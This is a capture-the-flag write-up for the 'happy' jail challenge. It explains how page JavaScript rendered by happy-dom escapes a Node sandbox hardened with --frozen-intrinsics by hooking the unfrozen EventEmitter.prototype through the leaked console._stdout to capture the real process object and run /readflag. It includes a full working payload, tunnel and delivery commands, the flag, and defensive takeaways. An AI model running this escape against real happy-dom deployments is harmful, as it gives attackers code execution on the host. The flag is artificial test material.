happy

`--frozen-intrinsics` freezes only the ECMAScript intrinsics — Node core prototypes such as `EventEmitter.prototype` are left alone

2026.09.30 NNS CTF 2026 131 pts Misc
FLAG NNS{7fw_y0U_C0N5o13._s7d0Ut_For_1ike_th3_billiontH_7im3}

Flag: NNS{7fw_y0U_C0N5o13._s7d0Ut_For_1ike_th3_billiontH_7im3}

Challenge description: “I like my DOMs happy.” Author: xtea418

The challenge

chal.js reads a URL from stdin and renders it with happy-dom, with JavaScript evaluation enabled:

import { createInterface } from "node:readline/promises";
import { Browser } from "happy-dom";
const rl = createInterface(process.stdin, process.stdout);
const url = await rl.question("schlink?: ");
const browser = new Browser({
  settings: { enableJavaScriptEvaluation: true },
  console: global.console,          // <-- the real Node console
});
const page = browser.newPage();
await page.goto(url);

It is launched hardened:

node --disallow-code-generation-from-strings --frozen-intrinsics chal.js
  • happy-dom version: 20.11.2
  • /readflag is ---x--x--x (mode 0311, owner jail): not readable, only executable. We run as the same uid (uid=10000(jail)), so the goal is not to read a file but to spawn a child process that runs /readflag.

Why the “obvious” escapes are blocked

  • --disallow-code-generation-from-strings kills the classic happy-dom realm-leak escape (window.constructor.constructor("...")(), CVE-2025-61927). Any eval/Function("code") throws EvalError.
  • --frozen-intrinsics freezes the JS language intrinsics (Object.prototype, Function.prototype, Array.prototype, …), so prototype-pollution gadgets against the language built-ins are closed too.

The bug

--frozen-intrinsics only freezes ECMAScript language intrinsics. It does not touch Node core class prototypes such as EventEmitter.prototype.

And because chal.js passes console: global.console, the sandbox is handed the real Node console. That console exposes console._stdout, which is process.stdout — a real net.Socket. Its prototype chain is:

Socket → Duplex → Readable → Stream → EventEmitter.prototype   (unfrozen!)

EventEmitter.prototype is shared by every emitter in the process — including the real process object. So we can hook EventEmitter.prototype.emit, then trigger any event on process and capture this, which will be the genuine process object — fully outside the sandbox.

To make process emit something, we call the legacy Buffer(1) constructor, which fires a deprecation warningprocess.emitWarning() → internally process.emit('warning', …). Our hooked emit sees this.pid === <number> and grabs it.

From the real process we get a module loader. It’s an ESM context so process.mainModule is undefined, but process.getBuiltinModule('child_process') works and hands us execFileSync.

/readflag prints a usage banner demanding a passphrase (a Bee-Movie quote) as its argv, so we pass that string as the argument.

Exploit chain

  1. console._stdout → walk the prototype chain up to EventEmitter.prototype (the first proto whose constructor.name === 'Object' is one past it).
  2. Replace EventEmitter.prototype.emit with a hook that records this whenever typeof this.pid === 'number'.
  3. Call Buffer(1) → deprecation warning → process.emit('warning', …)proc captured.
  4. proc.getBuiltinModule('child_process').execFileSync('/readflag', [PASSPHRASE]).
  5. console.log(...) — since the page’s console is global.console, this writes straight to process.stdout, i.e. back down the TCP socket to us. No separate exfil needed.

Payload (exploit/page.html)

<html><body><script type="module">
let EEProto = console._stdout;
while (Object.getPrototypeOf(EEProto).constructor.name !== 'Object')
  EEProto = Object.getPrototypeOf(EEProto);
const origEmit = EEProto.emit;
let proc = null;
EEProto.emit = function(...args){
  if (this && typeof this.pid === 'number') proc = this;
  return origEmit.apply(this, args);
};
try { Buffer(1); } catch(e) {}
await new Promise(r => setTimeout(r, 200));

const PASS = "According to all known laws of aviation, there is no way that a bee should be able to FLY. Its wings are too small to get its fat little body off the ground. The bee, of course, flies anyways. Because BEES don't care what humans think is impossible.";
let result = {};
if (proc) {
  const cp = proc.getBuiltinModule('child_process');
  try { result.flag = cp.execFileSync('/readflag', [PASS]).toString(); }
  catch(e){ result.err = String(e.message); if(e.stdout) result.out = e.stdout.toString(); }
}
console.log("EXPLOIT RESULT: " + JSON.stringify(result));
</script></body></html>

Delivery

happy-dom’s goto rejects data: URLs (its fetch layer throws Invalid URL), so the page has to be served over HTTP. The remote box fetches our URL, so a public URL is required:

# serve the payload
python3 -m http.server 8123            # (or the node server in local_test/)
# expose it
cloudflared tunnel --url http://localhost:8123

The instance endpoint is tcp-ssl (TLS-wrapped, routed by SNI through Traefik), so connect with an SSL client, not plain nc:

HOST=happy-<id>.chall.nnsc.tf
( printf '%s\n' "https://<your-tunnel>.trycloudflare.com/"; sleep 25 ) \
  | openssl s_client -connect $HOST:1337 -servername $HOST -quiet

Response:

schlink?: EXPLOIT RESULT: {"flag":"NNS{7fw_y0U_C0N5o13._s7d0Ut_For_1ike_th3_billiontH_7im3}\n"}

Takeaways

  • --frozen-intrinsics is not a sandbox — it freezes JS language intrinsics only. Node core class prototypes (EventEmitter, Stream, Socket, …) stay mutable and are reachable from any leaked core object.
  • Handing untrusted JS the real global.console is the whole game: console._stdout is a live net.Socket, a direct bridge to EventEmitter.prototype and, through a captured emit this, to the real process.
  • The flag name says it: “tfw you console._stdout for like the billionth time.”
#jail